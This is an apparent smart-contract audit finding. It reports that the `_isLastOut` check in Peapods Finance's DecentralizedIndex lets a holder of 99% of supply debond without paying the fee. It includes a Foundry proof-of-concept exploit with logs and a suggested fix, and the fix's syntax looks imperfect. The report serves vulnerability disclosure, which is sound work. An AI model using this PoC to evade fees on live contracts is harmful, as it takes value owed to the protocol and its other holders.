Atomic Syrup Leopard

Medium

# Incorrect logic of `_isLastOut` function

### Summary

The `_isLastOut` function is to check if the user is the last one out. But owning more than 99% of `_totalSupply` and being the last user are not equal logic.
Due to the incorrect logic of `_isLastOut` function, user who is not the last user, doesn't pay the debond fee..

### Root Cause

In [`_isLastOut`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L281-L283) function,  check if the user is the last one out, is whether user owns more than 99% of `_totalSupply`.

User can own more than 90% of the pod tokens even if there are other users who can `debond`.

### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Impact

There are cases where the debond fee is not paid even if user isn't the last out one.

### Attack Path

The following scenario shows that the logic of `_isLastOut` is incorrect.

bondFee = 1%, deBondFee = 1%, burnFee = 10%
1. Alice bonds 1e18
    totalSupply = 1e18 (Alice is the first in so no fee)
2. Bob bonds 1000e18
    Bob balance is 1000e18 * 99% = 990e18, 
    burnAmount = 1000e18 * 1% * 10% = 1e18
    totalSupply = 1e18 + 1000e18 - burnAmount = 1000e18
3. If Bob debonds with his total balance, `_isLastOut` function returns `true`
    Bob balance = 990e18 >= totalSupply * 99 / 100 = 990e18
4. Bob is not the last out one because Alice is left, but Bob debonds with no debondFee.
    totalSupply = 1000e18 - bob_balance = 10e18

This scenario is written on PoC and the last `totalSupply` is 10e18. This means Bob is recognized as the last out one.

### PoC

```solidity
    function setUp() public override {
        super.setUp();
        peas = PEAS(0x02f92800F57BCD74066F5709F1Daa1A4302Df875);
        twapUtils = new V3TwapUtilities();
        rewardsWhitelist = new RewardsWhitelist();
        dexAdapter = new UniswapDexAdapter(
            twapUtils,
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, // Uniswap V2 Router
            0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
            false
        );
        IDecentralizedIndex.Config memory _c;
        IDecentralizedIndex.Fees memory _f;
        _f.bond = 100;
        _f.debond = 100;
        _f.burn = 1000;
        address[] memory _t = new address[](1);
        _t[0] = address(dai);
        uint256[] memory _w = new uint256[](1);
        _w[0] = 100;
        address _pod = _createPod(
            "Test",
            "pTEST",
            _c,
            _f,
            _t,
            _w,
            address(0),
            false,
            abi.encode(
                dai,
                address(peas),
                0x6B175474E89094C44Da98b954EedeAC495271d0F,
                0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
                rewardsWhitelist,
                0x024ff47D552cB222b265D68C7aeB26E586D5229D,
                dexAdapter
            )
        );
        pod = WeightedIndex(payable(_pod));

        flashMintRecipient = new MockFlashMintRecipient();

        // Initial token setup for test users
        deal(address(peas), address(this), bondAmt * 100);
        deal(dai, address(this), 5 * 10e18);

    }

    function test_poc_bond(address user, uint256 amount) public {
        vm.startPrank(user);
        IERC20(dai).approve(address(pod), type(uint256).max);
        pod.bond(address(dai), amount, 0);
        vm.stopPrank();
    }

    function test_poc_debond(address user, uint256 amount) public {

        if(amount == 0) amount = pod.balanceOf(user);
        address[] memory _n1;
        uint8[] memory _n2;
        vm.startPrank(user);
        pod.debond(amount, _n1, _n2);
        vm.stopPrank();
    }

    function test_poc_lastOut() public {

        deal(address(dai), alice, bondAmt);
        deal(address(dai), bob, bondAmt * 1000);

        console.log("--- ALICE bond ---");
        test_poc_bond(alice, bondAmt);
        console.log("pod totalSupply before bob calls bond", pod.totalSupply());

        console.log("--- BOB bond ---");
        test_poc_bond(bob, bondAmt * 1000);

        console.log("pod balance of BOB", pod.balanceOf(bob));
        console.log("pod totalSupply after  BOB calls bond", pod.totalSupply());

        console.log("pod totalSupply before BOB calls debond", pod.totalSupply());
        test_poc_debond(bob, 0);
        console.log("pod totalSupply after  BOB calls debond", pod.totalSupply());

    }

```

> Logs:
  --- ALICE bond ---
  pod totalSupply before bob calls bond 1000000000000000000
  --- BOB bond ---
  pod balance of BOB 990000000000000000000
  pod totalSupply after  BOB calls bond 1000000000000000000000
  pod totalSupply before BOB calls debond 1000000000000000000000
  pod totalSupply after  BOB calls debond 10000000000000000000

### Mitigation

```solidity
    function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
---     return _debondAmount >= (_totalSupply * 99) / 100;
+++     return (_debondAmount + balance(this) == _totalSupply) || (balance(this) == _totalSupply);
    }
```